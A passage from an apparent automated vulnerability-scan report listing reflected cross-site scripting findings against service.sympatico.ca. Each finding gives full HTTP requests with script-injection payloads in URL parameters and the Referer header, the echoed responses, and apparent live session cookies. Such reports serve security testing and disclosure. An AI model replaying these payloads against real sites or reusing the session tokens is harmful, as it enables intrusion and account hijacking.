t%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:35 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js71694"><script>alert(1)</script>db2468b1d5e/jquery.blockUI.js" />
...[SNIP]...

2.199. http://service.sympatico.ca/js/jquery.blockUI.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.blockUI.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f32b7"><script>alert(1)</script>7311ab566ce was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.blockUI.jsf32b7"><script>alert(1)</script>7311ab566ce HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:38 GMT
Connection: close
Set-Cookie: SMSESSION=9BiAGChMh3kFXDqwZfeeHRN8VD0wyJ2ab3hhacmRnrW8qctYsYCNNSbazf294BPsb05L/KBREnDlHOdEu1JeA7fgTDBqjXlRRpg0g932XIkJkZDDfGPZYCp+KpQgnD2GQNew6nPYnvak0wuOM/J9BQHZ5sJIFIQz8eXJOF/2Exe9t3XUSaND+nhOHFcDJVlvB/PveCL/+p7ccNsLz+gJoDmUK+2bzP8N2kjpS5/OBtCS3W+B8DE8D6oChUxI12wKwlu/QOaEwom4yvJZdoKViSzUsr/QLPms1vY1yxualGqjWZ1TP+X2Uw==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:38 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:38 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:38 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.blockUI.jsf32b7"><script>alert(1)</script>7311ab566ce" />
...[SNIP]...

2.200. http://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.cfjs.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63f93"><script>alert(1)</script>550b3f023ec was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js63f93"><script>alert(1)</script>550b3f023ec/jquery.cfjs.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:52 GMT
Connection: close
Set-Cookie: SMSESSION=AEKhwdvYzHGVBm4pN9/pZpN5EdleWOicHmXzDW54K00/rzomnYDZw9O0uNojP4SqCL/tklufssZsop75+ToTZatfHaTwCstuBVxTcPTXPOmiiRdskUjhIOQrKN1kpq8VWtmE9yqTf9qBzX5/R+WilPNx3kaTMnGz6kQy859vNOCkdpx7ruj67qxUpCXitG7R/gGscL++zpIqrSeZjPqxjWH/ipuKEdkhIQjFN511EE+BfG1GSjX9rS54OgBWXzdObPlZWgn3h+AeaLZkwyCu7p3TV6xwlqYV+TmGQ32YQiwbuOPS/AWdgQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:53 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:53 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:53 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:53 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js63f93"><script>alert(1)</script>550b3f023ec/jquery.cfjs.js" />
...[SNIP]...

2.201. http://service.sympatico.ca/js/jquery.cfjs.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.cfjs.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5c6a"><script>alert(1)</script>48b3e8903ec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.cfjs.jsa5c6a"><script>alert(1)</script>48b3e8903ec HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:07:01 GMT
Connection: close
Set-Cookie: SMSESSION=rp+cvi0ZYPBPN3/gitFPIuJ9TQLJZIOXakVBqzE7O7xm0xYleDyDMv5e4RQtBaSJctMY11CGUd6T8qoY2E8krUzLQhA5MDsWFBliKjcYaTVMaQxMDM1/JYyL2SJ4JGruhOoUUGxzi4CPcGaoFyRfAy/NAAl23xbecbW6AB2deZaZXIz+H4uT0L0luf1gvBBzGXGoiw6vhXWFWHTlflFZbykF6IDXJPY+02TL3lZLmhtfKcELH5WujptrjGtolKKhZCk8a7TDK231iKtGZvRAsLosVx6Rf/pNB+Tgjui53a6veWrdGcyaKA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:07:01 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:07:01 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:07:01 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:07:01 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:07:01 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3B